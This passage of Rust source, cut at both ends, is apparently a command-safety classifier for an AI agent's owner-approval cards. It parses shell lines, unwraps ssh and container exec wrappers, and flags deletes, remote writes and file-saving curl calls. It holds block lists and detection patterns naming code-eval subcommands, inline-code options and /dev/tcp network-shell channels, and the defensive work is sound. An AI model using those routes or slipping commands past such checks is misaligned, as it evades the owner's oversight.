1052const DDEV_TOOL_CODE_COMMANDS: &[(&str, &str)] = &[
1053    ("drush", "php:eval"),
1054    ("drush", "php-eval"),
1055    ("drush", "eval"),
1056    ("drush", "ev"),
1057    ("drush", "php:script"),
1058    ("drush", "php-script"),
1059    ("drush", "scr"),
1060    ("drush", "php"),
1061    ("drush", "php:cli"),
1062    ("drush", "core:cli"),
1063    ("drush", "cli"),
1064    ("wp", "eval"),
1065    ("wp", "eval-file"),
1066    ("wp", "shell"),
1067];
1068
1069/// Whether every command is a `ddev` project's own Drush or WP-CLI command
1070/// on its own site (run in its own containers, against its own database):
1071/// no code handed to it, no URL among its arguments, no file written or
1072/// deleted on this computer, nothing sent to a remote. Run inside a folder
1073/// the request's work created, what it touches is that work's own project,
1074/// whatever the command is (live 2026-11-13: `ddev drush watchdog:show` in
1075/// the Drupal site the helper had just installed asked the owner). Which
1076/// folder it runs in is the caller's to judge; a `cd` is not accepted, so
1077/// the folder is the one the call names.
1078pub fn acts_on_its_ddev_project(command: &str) -> bool {
1079    if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1080    {
1081        return false;
1082    }
1083    every_segment(command, &|program, args| {
1084        program == "ddev"
1085            && !args.iter().any(|arg| {
1086                arg.contains("://")
1087                    || DDEV_TOOL_CODE_OPTIONS
1088                        .iter()
1089                        .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
1090            })
1091            && match args
1092                .iter()
1093                .map(String::as_str)
1094                .filter(|arg| !arg.starts_with('-'))
1095                .collect::<Vec<_>>()
1096                .as_slice()
1097            {
1098                [tool @ ("drush" | "wp"), command, ..] => !DDEV_TOOL_CODE_COMMANDS
1099                    .iter()
1100                    .any(|(t, c)| t == tool && c == command),
1101                _ => false,
1102            }
1103    })
1104}
1105
1106/// Whether every command only reads or reports on this computer and
1107/// writes nothing: observations, `cd`, a local `ddev` project's own query,
1108/// and `curl` reads of sites on this computer that save nothing (no output,
1109/// header, cookie or trace file). Checking the dev site the work set up is
1110/// a read, like listing its folder. Fail closed like the other shapes:
1111/// `wget` saves by default, and redirects into files, deletes and writes to
1112/// a site are excluded.
1113pub fn only_reads_this_computer(command: &str) -> bool {
1114    if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1115    {
1116        return false;
1117    }
1118    every_segment(command, &|program, args| match program {
1119        "cd" => true,
1120        "ddev" => ddev_query_ok(args),
1121        "curl" => !curl_saves_files(args) && reads_only_local_sites(program, args),
1122        _ => is_program_observation(program, args),
1123    })
1124}
1125
1126/// Whether every command only reads, here or across the network, and
1127/// changes nothing: [`only_reads_this_computer`]'s shapes, plus `curl`
1128/// reads of any site that save nothing and send no write. What a run given
1129/// the network capability does when it is not this is a change somewhere
1130/// the sandbox does not reach (a container engine, a service).
1131pub fn only_reads(command: &str) -> bool {
1132    if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1133    {
1134        return false;
1135    }
1136    every_segment(command, &|program, args| match program {
1137        "cd" => true,
1138        "ddev" => ddev_query_ok(args),
1139        "curl" => !curl_saves_files(args),
1140        _ => is_program_observation(program, args),
1141    })
1142}
1143
1144/// For a command that runs another command somewhere else (`docker exec`,
1145/// `podman exec`, `kubectl exec`, `ssh`): whether that inner command only
1146/// reads. `None` when `command` is not one such single wrapper, or its inner
1147/// command cannot be read structurally. The inner text is judged by
1148/// [`only_reads`], so a redirection, a delete or an unknown program inside
1149/// counts as a change. Read from token structure only (machine format: a
1150/// shell command line), never from wording.
1151pub fn remote_inner_only_reads(command: &str) -> Option<bool> {
1152    remote_inner_script(command).map(|inner| only_reads(&inner))
1153}
1154
1155/// Whether `command` recognizably changes something: a redirection into a
1156/// file, a delete, a remote write, a known file-changing program (`cp`,
1157/// `mkdir`, `chmod`, `tee`, `sed -i`, ...), or a package install. Behind a
1158/// remote-exec wrapper the command it runs is judged. Unlike "not
1159/// read-only", an unknown program is not a recognized change, so a caller
1160/// that credits work from this can only miss a change, never invent one.
1161/// Read from token structure only (machine format: a shell command line).
1162pub fn recognizably_changes(command: &str) -> bool {
1163    let text = remote_inner_script(command).unwrap_or_else(|| command.to_string());
1164    if command_effects(&text).deletes || scan(&text).writes_file || sends_remote_write(&text) {
1165        return true;
1166    }
1167    expanded_commands(&text).iter().any(|tokens| {
1168        let args = &tokens[1..];
1169        match basename(&tokens[0]) {
1170            "mkdir" | "touch" | "cp" | "mv" | "ln" | "chmod" | "chown" | "tee" | "install"
1171            | "patch" | "truncate" => true,
1172            "sed" => args
1173                .iter()
1174                .any(|arg| arg.starts_with("-i") || arg == "--in-place"),
1175            "apt" | "apt-get" | "yum" | "dnf" | "pip" | "pip3" | "npm" | "pnpm" | "yarn"
1176            | "gem" | "brew" => args.iter().any(|arg| arg == "install" || arg == "add"),
1177            "apk" => args.iter().any(|arg| arg == "add"),
1178            "git" => matches!(
1179                git_subcommand(args),
1180                Some("commit" | "add" | "apply" | "checkout" | "switch" | "merge" | "init")
1181            ),
1182            _ => false,
1183        }
1184    })
1185}
1186
1187/// The command a single remote-exec wrapper runs, as shell text.
1188fn remote_inner_script(command: &str) -> Option<String> {
1189    let segments: Vec<String> = scan(command)
1190        .segments
1191        .into_iter()
1192        .filter(|segment| !segment.trim().is_empty())
1193        .collect();
1194    let [segment] = segments.as_slice() else {
1195        return None;
1196    };
1197    let tokens = shell_words::split(segment).ok()?;
1198    let program = basename(tokens.first()?);
1199    let second = tokens.get(1).map(String::as_str);
1200    let third = tokens.get(2).map(String::as_str);
1201    // Options that take a separate value, per wrapper.
1202    let (start, valued): (usize, &[&str]) = match program {
1203        "docker" | "podman" if tokens.get(1).map(String::as_str) == Some("exec") => (
1204            2,
1205            &[
1206                "-e",
1207                "--env",
1208                "-u",
1209                "--user",
1210                "-w",
1211                "--workdir",
1212                "--env-file",
1213            ],
1214        ),
1215        // `docker compose exec <service> <command>`.
1216        "docker" | "podman" if second == Some("compose") && third == Some("exec") => (
1217            3,
1218            &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
1219        ),
1220        "docker-compose" | "podman-compose" if second == Some("exec") => (
1221            2,
1222            &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
1223        ),
1224        // `lxc exec <instance> -- <command>` (and Incus, its fork).
1225        "lxc" | "incus" if second == Some("exec") => {
1226            let dash = tokens.iter().position(|token| token == "--")?;
1227            return inner_text(&tokens[dash + 1..]);
1228        }
1229        // `vagrant ssh [machine] -c '<command>'`.
1230        "vagrant" if second == Some("ssh") => {
1231            let flag = tokens
1232                .iter()
1233                .position(|token| token == "-c" || token == "--command")?;
1234            return tokens.get(flag + 1).cloned();
1235        }
1236        // `gcloud compute ssh <instance> --command='<command>'`.
1237        "gcloud" if second == Some("compute") && third == Some("ssh") => {
1238            return tokens.iter().enumerate().find_map(|(index, token)| {
1239                if token == "--command" {
1240                    tokens.get(index + 1).cloned()
1241                } else {
1242                    token.strip_prefix("--command=").map(str::to_string)
1243                }
1244            });
1245        }
1246        "kubectl" if tokens.get(1).map(String::as_str) == Some("exec") => {
1247            let dash = tokens.iter().position(|token| token == "--")?;
1248            return inner_text(&tokens[dash + 1..]);
1249        }
1250        "ssh" => (
1251            1,
1252            &[
1253                "-p", "-i", "-l", "-o", "-F", "-J", "-b", "-c", "-D", "-E", "-L", "-R", "-W", "-m",
1254                "-O", "-Q", "-S", "-w",
1255            ],
1256        ),
1257        _ => return None,
1258    };
1259    let mut index = start;
1260    while let Some(token) = tokens.get(index) {
1261        if token == "--" {
1262            index += 1;
1263            break;
1264        }
1265        if !token.starts_with('-') {
1266            break;
1267        }
1268        index += if valued.contains(&token.as_str()) {
1269            2
1270        } else {
1271            1
1272        };
1273    }
1274    let rest = tokens.get(index + 1..)?;
1275    // `ssh` joins its remaining words with spaces and the remote shell parses
1276    // the result; a container runtime runs them as one argument vector.
1277    if program == "ssh" {
1278        return (!rest.is_empty()).then(|| rest.join(" "));
1279    }
1280    // The container, then the command it runs.
1281    inner_text(rest)
1282}
1283
1284/// `tokens` as one command line: the script of `sh -c '<script>'` (any
1285/// shell, with `-c` among its single-dash flags), else the words rejoined.
1286fn inner_text(tokens: &[String]) -> Option<String> {
1287    let first = tokens.first()?;
1288    if matches!(basename(first), "sh" | "bash" | "zsh" | "dash" | "ash") {
1289        let flag = tokens[1..].iter().position(|token| {
1290            token.starts_with('-') && !token.starts_with("--") && token.contains('c')
1291        })?;
1292        return tokens.get(flag + 2).cloned();
1293    }
1294    Some(shell_words::join(tokens))
1295}
1296
1297/// Whether a `curl` call saves something to a file: an output, header,
1298/// cookie or trace file. Output sent to `/dev/null` saves nothing.
1299fn curl_saves_files(args: &[String]) -> bool {
1300    const LONG: &[&str] = &[
1301        "--output",
1302        "--remote-name",
1303        "--remote-name-all",
1304        "--dump-header",
1305        "--cookie-jar",
1306        "--trace",
1307        "--trace-ascii",
1308        "--stderr",
1309        "--libcurl",
1310        "--etag-save",
1311        "--hsts",
1312        "--alt-svc",
1313        "--create-dirs",
1314        "--output-dir",
1315    ];
1316    let to_null = |value: Option<&String>| value.is_some_and(|value| value == "/dev/null");
1317    args.iter().enumerate().any(|(index, arg)| {
1318        let next = args.get(index + 1);
1319        if arg == "--output" || arg == "-o" {
1320            return !to_null(next);
1321        }
1322        if let Some(value) = arg.strip_prefix("--output=") {
1323            return value != "/dev/null";
1324        }
1325        if LONG
1326            .iter()
1327            .any(|option| arg == *option || arg.starts_with(&format!("{option}=")))
1328        {
1329            return true;
1330        }
1331        if short_cluster_has(arg, &['O', 'D', 'c']) {
1332            return true;
1333        }
1334        // `-so FILE`: the cluster's last letter takes the next word; an
1335        // `o` inside a cluster takes the rest of it.
1336        if arg.starts_with('-')
1337            && !arg.starts_with("--")
1338            && let Some(at) = arg.find('o')
1339        {
1340            return if at + 1 == arg.len() {
1341                !to_null(next)
1342            } else {
1343                &arg[at + 1..] != "/dev/null"
1344            };
1345        }
1346        false
1347    })
1348}
1349
1350/// What a command runs, in a word or two for the owner: "a shell loop" for
1351/// a `for`/`while`/`until` loop, else its first program's name ("ddev"),
1352/// "a command" when neither can be read. Never the raw line.
1353pub fn program_label(command: &str) -> String {
1354    // The first segment that runs something (a `cd` only moves).
1355    let first = scan(command)
1356        .segments
1357        .into_iter()
1358        .filter_map(|segment| shell_words::split(&segment).ok())
1359        .find(|words| {
1360            words
1361                .iter()
1362                .find(|word| !is_env_assignment(word))
1363                .is_some_and(|program| !matches!(basename(program), "cd" | "pushd" | "popd"))
1364        })
1365        .unwrap_or_default();
1366    let mut words = first.iter().skip_while(|word| is_env_assignment(word));
1367    let Some(program) = words.next() else {
1368        return "a command".to_string();
1369    };
1370    let program = match basename(program) {
1371        "for" | "while" | "until" | "select" => return "a shell loop".to_string(),
1372        wrapper if WRAPPERS.contains(&wrapper) => words
1373            .find(|word| !word.starts_with('-'))
1374            .map(String::as_str),
1375        name => Some(name),
1376    };
1377    program
1378        .map(basename)
1379        .filter(|name| {
1380            !name.is_empty()
1381                && name
1382                    .chars()
1383                    .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
1384        })
1385        .map_or_else(|| "a command".to_string(), str::to_string)
1386}
1387
1388/// The approval card for running `line`, from its structure: the folders
1389/// it only looks inside, and the one effect worth a warning (deleting,
1390/// with the targets when they can be read, or sending a write to a
1391/// service). `title` is the call's own few words for itself. The line is
1392/// shown with every secret value hidden
1393/// ([`crate::sanitize::redact_command_secrets`]).
1394pub fn command_card(line: &str, title: Option<String>) -> aidaemon_core::ApprovalCard {
1395    let effects = command_effects(line);
1396    let impact = if effects.deletes {
1397        Some(aidaemon_core::HighImpact::Deletes {
1398            targets: effects.delete_targets.unwrap_or_default(),
1399        })
1400    } else if sends_remote_write(line) {
1401        Some(aidaemon_core::HighImpact::Sends)
1402    } else {
1403        None
1404    };
1405    aidaemon_core::ApprovalCard {
1406        impact,
1407        ..aidaemon_core::ApprovalCard::new(aidaemon_core::CardAction::Command {
1408            line: crate::sanitize::redact_command_secrets(line),
1409            title,
1410            looks_inside: looked_inside(line),
1411        })
1412    }
1413}
1414
1415/// Programs that list or describe folders, whose operands name the folders
1416/// they look inside.
1417const FOLDER_LISTERS: &[&str] = &["ls", "tree", "du", "find", "stat"];
1418
1419/// The folders a read-only command looks inside, by name, for the owner's
1420/// card ("look inside your claude-drupal and claude-wordpress folders").
1421/// Empty unless every command only reads or reports on this computer
1422/// (observations, `cd`, a local `ddev` project's own query) and writes no
1423/// file. Each listing command's operand (`ls`, `tree`, `du`, `find`,
1424/// `stat`, a loop's words bound) counts once, by its first component when
1425/// relative and its last when absolute; `.`, `..`, home and anything still
1426/// holding a variable or a glob are left out.
1427pub fn looked_inside(command: &str) -> Vec<String> {
1428    if command_effects(command).deletes || scan(command).writes_file {
1429        return Vec::new();
1430    }
1431    let folders = std::cell::RefCell::new(Vec::<String>::new());
1432    let reads_only = every_segment(command, &|program, args| {
1433        let ok = match program {
1434            "cd" => true,
1435            "ddev" => ddev_query_ok(args),
1436            _ => is_program_observation(program, args),
1437        };
1438        if ok && FOLDER_LISTERS.contains(&program) {
1439            let mut folders = folders.borrow_mut();
1440            for operand in lister_operands(program, args) {
1441                if let Some(name) = folder_name(operand)
1442                    && !folders.contains(&name)
1443                {
1444                    folders.push(name);
1445                }
1446            }
1447        }
1448        ok
1449    });
1450    if reads_only {
1451        folders.into_inner()
1452    } else {
1453        Vec::new()
1454    }
1455}
1456
1457/// A listing command's path operands: its non-option arguments (`find`:
1458/// those before its expression), skipping the values of `tree`'s `-L`,
1459/// `-I` and `-P` and `du`'s `-d`.
1460fn lister_operands<'a>(program: &str, args: &'a [String]) -> Vec<&'a str> {
1461    let mut operands = Vec::new();
1462    let mut iter = args.iter();
1463    while let Some(arg) = iter.next() {
1464        if program == "find" && (arg.starts_with('-') || matches!(arg.as_str(), "(" | "!")) {
1465            break;
1466        }
1467        if matches!(
1468            (program, arg.as_str()),
1469            ("tree", "-L" | "-I" | "-P") | ("du", "-d")
1470        ) {
1471            iter.next();
1472            continue;
1473        }
1474        if !arg.starts_with('-') {
1475            operands.push(arg.as_str());
1476        }
1477    }
1478    operands
1479}
1480
1481/// A folder's name as the owner knows it, from an operand.
1482fn folder_name(operand: &str) -> Option<String> {
1483    let path = operand.trim_end_matches('/');
1484    if path.is_empty()
1485        || path.starts_with('~')
1486        || path
1487            .chars()
1488            .any(|c| matches!(c, '$' | '*' | '?' | '[' | '{'))
1489    {
1490        return None;
1491    }
1492    let name = if path.starts_with('/') {
1493        path.rsplit('/').next()?
1494    } else {
1495        path.split('/')
1496            .find(|part| !part.is_empty() && *part != ".")?
1497    };
1498    (!matches!(name, "" | "." | "..")).then(|| name.to_string())
1499}
1500
1501/// A `curl` or `wget` call in a shape the option tables understand whose
1502/// every address (operands and `--url`) points at this computer alone.
1503fn reads_only_local_sites(program: &str, args: &[String]) -> bool {
1504    let spec = match program {
1505        "curl" => &CURL,
1506        "wget" => &WGET,
1507        _ => return false,
1508    };
1509    let Some(parsed) = parse_options(spec, args) else {
1510        return false;
1511    };
1512    if parsed
1513        .values
1514        .iter()
1515        .any(|(_, value)| value.contains("%output{"))
1516    {
1517        return false;
1518    }
1519    let urls: Vec<&String> = parsed
1520        .positionals
1521        .iter()
1522        .chain(
1523            parsed
1524                .values
1525                .iter()
1526                .filter(|(role, _)| *role == OptionValue::Url)
1527                .map(|(_, value)| value),
1528        )
1529        .collect();
1530    !urls.is_empty()
1531        && urls
1532            .iter()
1533            .all(|url| strict_url(url).is_some() && crate::web::local_site_key(url).is_some())
1534}
1535
1536/// Whether `command` is one or more simple commands, each passing `ok` on
1537/// its program's bare name and its arguments: no syntax that hides a
1538/// command, no input redirects, no variable assignments, programs named
1539/// bare or from a system bin directory. Lists, pipes, `( ... )` subshells
1540/// and `for` loops over literal words are read structurally
1541/// ([`simple_commands`]), so every command they run is checked.
1542fn every_segment(command: &str, ok: &dyn Fn(&str, &[String]) -> bool) -> bool {
1543    if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
1544        return false;
1545    }
1546    // A script's lines are commands like `;`-separated ones.
1547    let scanned = scan(&command.replace("\\\n", " "));
1548    // Local work never reads stdin from a file: an interpreter fed a file
1549    // this way runs code no argument names.
1550    if scanned.hidden_syntax || !scanned.input_targets.is_empty() {
1551        return false;
1552    }
1553    let Some(commands) = simple_commands(&scanned) else {
1554        return false;
1555    };
1556    !commands.is_empty()
1557        && commands.iter().all(|tokens| {
1558            let tokens = without_display_env(tokens);
1559            let Some(program) = tokens.first() else {
1560                return false;
1561            };
1562            !is_env_assignment(program)
1563                && program_path_ok(program)
1564                && ok(basename(program), &tokens[1..])
1565        })
1566}
1567
1568/// A program named bare or from a system bin directory.
1569fn program_path_ok(program: &str) -> bool {
1570    !program.contains('/')
1571        || program
1572            .rsplit_once('/')
1573            .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir))
1574}
1575
1576/// One command of a compound command line, as the shell groups it.
1577#[derive(Debug, Clone, PartialEq, Eq)]
1578enum ShellCommand {
1579    /// A program and its arguments, redirections removed.
1580    Simple(Vec<String>),
1581    /// `( list )`: a list run in a subshell.
1582    Subshell(Vec<ShellCommand>),
1583    /// `for VAR in WORDS; do LIST; done`.
1584    For {
1585        var: String,
1586        words: Vec<String>,
1587        body: Vec<ShellCommand>,
1588    },
1589}
1590
1591/// The pieces a scanned line is parsed from.
1592#[derive(Debug, Clone, PartialEq, Eq)]
1593enum Piece {
1594    /// One segment's words, redirections removed.
1595    Words(Vec<String>),
1596    Open,
1597    Close,
1598    /// `;`, `|`, `&` or a newline (`&&` and `||` are two of them).
1599    Separator(char),
1600}
1601
1602/// Where a list being parsed ends.
1603#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1604enum ListEnd {
1605    Input,
1606    Subshell,
1607    Loop,
1608}
1609
1610/// Reserved words that start or continue syntax this parser does not
1611/// model; a list using one is not understood.
1612const UNMODELLED_KEYWORDS: &[&str] = &[
1613    "if", "then", "elif", "else", "fi", "while", "until", "case", "esac", "select", "function",
1614    "{", "}", "!", "[[", "]]", "do", "in", "coproc",
1615];
1616
1617struct ShellParser {
1618    pieces: Vec<Piece>,
1619    pos: usize,
1620}
1621
1622impl ShellParser {
1623    fn list(&mut self, end: ListEnd) -> Option<Vec<ShellCommand>> {
1624        let mut commands = Vec::new();
1625        // A command just ended: only a separator or the list's end may follow.
1626        let mut ended = false;
1627        loop {
1628            let Some(piece) = self.pieces.get(self.pos).cloned() else {
1629                return (end == ListEnd::Input).then_some(commands);
1630            };
1631            match piece {
1632                Piece::Separator(_) => {
1633                    ended = false;
1634                    self.pos += 1;
1635                }
1636                Piece::Close => {
1637                    if end != ListEnd::Subshell {
1638                        return None;
1639                    }
1640                    self.pos += 1;
1641                    return Some(commands);
1642                }
1643                _ if ended => return None,
1644                Piece::Open => {
1645                    self.pos += 1;
1646                    let inner = self.list(ListEnd::Subshell)?;
1647                    // Redirections after the closing parenthesis apply to
1648                    // the whole subshell; the scan has vetted them.
1649                    if matches!(self.pieces.get(self.pos), Some(Piece::Words(words)) if words.is_empty())
1650                    {
1651                        self.pos += 1;
1652                    }
1653                    commands.push(ShellCommand::Subshell(inner));
1654                    ended = true;
1655                }
1656                Piece::Words(words) => {
1657                    let first = words.first()?.as_str();
1658                    if first == "done" {
1659                        if end != ListEnd::Loop || words.len() != 1 {
1660                            return None;
1661                        }
1662                        self.pos += 1;
1663                        return Some(commands);
1664                    }
1665                    if first == "for" {
1666                        commands.push(self.for_loop(&words)?);
1667                    } else if UNMODELLED_KEYWORDS.contains(&first)
1668                        || without_display_env(&words)
1669                            .first()
1670                            .map_or(first, String::as_str)
1671                            .contains('$')
1672                    {
1673                        // A program named by a variable is whatever the
1674                        // variable holds, which the other readings of the
1675                        // command (deletes, network) never see.
1676                        return None;
1677                    } else {
1678                        self.pos += 1;
1679                        commands.push(ShellCommand::Simple(words));
1680                    }
1681                    ended = true;
1682                }
1683            }
1684        }
1685    }
1686
1687    /// `for VAR in WORDS` `;`/newline `do LIST` `done`, starting at its
1688    /// header.
1689    fn for_loop(&mut self, header: &[String]) -> Option<ShellCommand> {
1690        let var = header.get(1)?;
1691        let valid_name = var
1692            .chars()
1693            .next()
1694            .is_some_and(|c| c == '_' || c.is_ascii_alphabetic())
1695            && var.chars().all(|c| c == '_' || c.is_ascii_alphanumeric());
1696        if !valid_name || header.get(2).map(String::as_str) != Some("in") {
1697            return None;
1698        }
1699        let words = header[3..].to_vec();
1700        self.pos += 1;
1701        let mut separated = false;
1702        while let Some(Piece::Separator(sep)) = self.pieces.get(self.pos) {
1703            if !matches!(sep, ';' | '\n') {
1704                return None;
1705            }
1706            separated = true;
1707            self.pos += 1;
1708        }
1709        let Some(Piece::Words(opening)) = self.pieces.get(self.pos).cloned() else {
1710            return None;
1711        };
1712        if !separated || opening.first().map(String::as_str) != Some("do") {
1713            return None;
1714        }
1715        if opening.len() == 1 {
1716            self.pos += 1;
1717        } else {
1718            self.pieces[self.pos] = Piece::Words(opening[1..].to_vec());
1719        }
1720        let body = self.list(ListEnd::Loop)?;
1721        Some(ShellCommand::For {
1722            var: var.clone(),
1723            words,
1724            body,
1725        })
1726    }
1727}
1728
1729/// The compound structure of a scanned command: lists (`;`, `&&`, `||`,
1730/// `&`, newlines), pipes, `( ... )` subshells and `for` loops. `None` when
1731/// any part is not understood (hidden syntax is the caller's to reject).
1732fn parse_shell(scanned: &Scan) -> Option<Vec<ShellCommand>> {
1733    let mut pieces = Vec::new();
1734    for (index, segment) in scanned.segments.iter().enumerate() {
1735        if !segment.trim().is_empty() {
1736            let words = strip_redirections(shell_words::split(segment).ok()?);
1737            pieces.push(Piece::Words(words));
1738        }
1739        if let Some(&separator) = scanned.separators.get(index) {
1740            pieces.push(match separator {
1741                '(' => Piece::Open,
1742                ')' => Piece::Close,
1743                other => Piece::Separator(other),
1744            });
1745        }
1746    }
1747    // A segment of only redirections may follow a subshell, nothing else.
1748    for (index, piece) in pieces.iter().enumerate() {
1749        if matches!(piece, Piece::Words(words) if words.is_empty())
1750            && !matches!(index.checked_sub(1).map(|i| &pieces[i]), Some(Piece::Close))
1751        {
1752            return None;
1753        }
1754    }
1755    ShellParser { pieces, pos: 0 }.list(ListEnd::Input)
1756}
1757
1758/// `token` with `$var` and `${var}` replaced by `value`.
1759fn substitute_var(token: &str, var: &str, value: &str) -> String {
1760    let braced = format!("${{{var}}}");
1761    let bare = format!("${var}");
1762    let mut out = String::with_capacity(token.len());
1763    let mut rest = token;
1764    while let Some(index) = rest.find('$') {
1765        out.push_str(&rest[..index]);
1766        let tail = &rest[index..];
1767        if let Some(after) = tail.strip_prefix(&braced) {
1768            out.push_str(value);
1769            rest = after;
1770        } else if let Some(after) = tail
1771            .strip_prefix(&bare)
1772            .filter(|after| !after.starts_with(|c: char| c == '_' || c.is_ascii_alphanumeric()))
1773        {
1774            out.push_str(value);
1775            rest = after;
1776        } else {
1777            out.push('$');
1778            rest = &tail[1..];
1779        }
1780    }
1781    out.push_str(rest);
1782    out
1783}
1784
1785/// `commands` with the loop variable `var` bound to `value`.
1786fn bind_var(commands: &[ShellCommand], var: &str, value: &str) -> Vec<ShellCommand> {
1787    commands
1788        .iter()
1789        .map(|command| match command {
1790            ShellCommand::Simple(tokens) => ShellCommand::Simple(
1791                tokens
1792                    .iter()
1793                    .map(|token| substitute_var(token, var, value))
1794                    .collect(),
1795            ),
1796            ShellCommand::Subshell(inner) => ShellCommand::Subshell(bind_var(inner, var, value)),
1797            ShellCommand::For {
1798                var: inner_var,
1799                words,
1800                body,
1801            } => ShellCommand::For {
1802                var: inner_var.clone(),
1803                words: words
1804                    .iter()
1805                    .map(|word| substitute_var(word, var, value))
1806                    .collect(),
1807                // An inner loop over the same name shadows it.
1808                body: if inner_var == var {
1809                    body.clone()
1810                } else {
1811                    bind_var(body, var, value)
1812                },
1813            },
1814        })
1815        .collect()
1816}
1817
1818/// Every simple command `commands` runs, a loop's body once per word with
1819/// its variable bound. `None` when a loop word is not one plain operand: a
1820/// variable or whitespace could split it into other arguments, and a word
1821/// starting with `-` would land as an option the readings of the raw text
1822/// (deletes, network) cannot see.
1823fn flatten_commands(commands: &[ShellCommand], out: &mut Vec<Vec<String>>) -> Option<()> {
1824    for command in commands {
1825        match command {
1826            ShellCommand::Simple(tokens) => out.push(tokens.clone()),
1827            ShellCommand::Subshell(inner) => flatten_commands(inner, out)?,
1828            ShellCommand::For { var, words, body } => {
1829                if words.is_empty() {
1830                    flatten_commands(body, out)?;
1831                }
1832                for word in words {
1833                    if word.is_empty()
1834                        || word.starts_with('-')
1835                        || word
1836                            .chars()
1837                            .any(|c| c.is_whitespace() || matches!(c, '$' | '`' | '"' | '\''))
1838                    {
1839                        return None;
1840                    }
1841                    flatten_commands(&bind_var(body, var, word), out)?;
1842                }
1843            }
1844        }
1845    }
1846    Some(())
1847}
1848
1849/// The simple commands a scanned command line runs, redirections removed,
1850/// through lists, pipes, subshells and `for` loops (each body once per
1851/// word). `None` when its structure is not understood.
1852fn simple_commands(scanned: &Scan) -> Option<Vec<Vec<String>>> {
1853    let mut out = Vec::new();
1854    flatten_commands(&parse_shell(scanned)?, &mut out)?;
1855    Some(out)
1856}
1857
1858/// Options through which a local-work program runs code given inline (or
1859/// read from stdin) rather than a file in the workspace.
1860fn runs_inline_code(program: &str, args: &[String]) -> bool {
1861    let option = |names: &[&str]| {
1862        args.iter().any(|arg| {
1863            names.iter().any(|name| match arg.strip_prefix(name) {
1864                // A short option may carry its value attached (`-Ex`).
1865                Some(_) if name.len() == 2 => true,
1866                Some(rest) => rest.is_empty() || rest.starts_with('='),
1867                None => false,
1868            })
1869        })
1870    };
1871    match program {
1872        // `-c` anywhere: a configuration override before the subcommand, or
1873        // a subcommand option that can carry one.
1874        "git" => {
1875            option(&["-c", "--config-env", "--exec"])
1876                || (args.first().is_some_and(|sub| sub == "rebase") && option(&["-x"]))
1877        }
1878        "cargo" => option(&["--config"]),
1879        "make" => option(&["--eval", "-E"]),
1880        "go" => option(&["-toolexec", "--toolexec", "-exec", "--exec"]),
1881        // The script arrives on stdin or a descriptor.
1882        "python" | "python3" | "node" => args.first().is_some_and(|script| {
1883            script == "-" || script == "/dev/stdin" || script.starts_with("/dev/fd/")
1884        }),
1885        _ => false,
1886    }
1887}
1888
1889fn local_work_args_ok(program: &str, args: &[String]) -> bool {
1890    if runs_inline_code(program, args) {
1891        return false;
1892    }
1893    if let Some((_, subcommands)) = LOCAL_WORK_SUBCOMMANDS
1894        .iter()
1895        .find(|(name, _)| *name == program)
1896    {
1897        // A toolchain selector may precede cargo's subcommand; any other
1898        // leading option (git's `-c`, `-C`) is not local work.
1899        let rest = match program {
1900            "cargo" => args
1901                .iter()
1902                .skip_while(|arg| arg.starts_with('+'))
1903                .collect::<Vec<_>>(),
1904            _ => args.iter().collect(),
1905        };
1906        return rest
1907            .first()
1908            .is_some_and(|subcommand| subcommands.contains(&subcommand.as_str()));
1909    }
1910    match program {
1911        // A script path, never inline code (`-c`, `-e`) or a module (`-m`).
1912        "python" | "python3" | "node" => args.first().is_some_and(|arg| !arg.starts_with('-')),
1913        "find" => !args
1914            .iter()
1915            .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())),
1916        "ddev" => ddev_query_ok(args),
1917        _ if LOCAL_WORK_PROGRAMS.contains(&program) => true,
1918        _ if OBSERVATION_PROGRAMS.contains(&program) => observation_args_ok(program, args),
1919        _ if in_powershell_table(POWERSHELL_LOCAL_WORK, program)
1920            || in_powershell_table(POWERSHELL_DELETES, program) =>
1921        {
1922            powershell_args_plain(args)
1923        }
1924        _ => is_powershell_observation(program, args),
1925    }
1926}
1927
1928fn basename(program: &str) -> &str {
1929    let name = program.rsplit('/').next().unwrap_or(program);
1930    // On Windows `curl.exe` is the real curl (shipped with Windows) and
1931    // reads as `curl`: an explicit `.exe` names the program, never an alias.
1932    if cfg!(windows)
1933        && let Some(stem) = name
1934            .len()
1935            .checked_sub(4)
1936            .filter(|&cut| name.is_char_boundary(cut) && name[cut..].eq_ignore_ascii_case(".exe"))
1937            .map(|cut| &name[..cut])
1938    {
1939        return stem;
1940    }
1941    // Windows PowerShell's `curl` and `wget` are `Invoke-WebRequest`, whose
1942    // arguments are not curl's: never read as curl.
1943    if cfg!(windows)
1944        && [
1945            "curl",
1946            "wget",
1947            "iwr",
1948            "irm",
1949            "invoke-webrequest",
1950            "invoke-restmethod",
1951        ]
1952        .iter()
1953        .any(|alias| alias.eq_ignore_ascii_case(name))
1954    {
1955        return "invoke-webrequest";
1956    }
1957    name
1958}
1959
1960/// An assignment that only changes how a program formats or localizes what
1961/// it prints: a time zone, a locale, a terminal size or colour. Any other
1962/// (`PATH`, `LD_PRELOAD`, `GIT_*`, a pager) can change what runs, so a
1963/// command carrying one is judged as before.
1964fn is_display_env_assignment(token: &str) -> bool {
1965    is_env_assignment(token)
1966        && token.split_once('=').is_some_and(|(name, _)| {
1967            matches!(
1968                name,
1969                "TZ" | "LANG"
1970                    | "LANGUAGE"
1971                    | "LC_ALL"
1972                    | "COLUMNS"
1973                    | "LINES"
1974                    | "NO_COLOR"
1975                    | "CLICOLOR"
1976                    | "TERM"
1977            ) || (name.starts_with("LC_") && name[3..].chars().all(|ch| ch.is_ascii_uppercase()))
1978        })
1979}
1980
1981/// The command after its leading display assignments
1982/// ([`is_display_env_assignment`]); any other leading assignment stays.
1983fn without_display_env(tokens: &[String]) -> &[String] {
1984    let start = tokens
1985        .iter()
1986        .take_while(|token| is_display_env_assignment(token))
1987        .count();
1988    &tokens[start..]
1989}
1990
1991fn is_env_assignment(token: &str) -> bool {
1992    token.split_once('=').is_some_and(|(name, _)| {
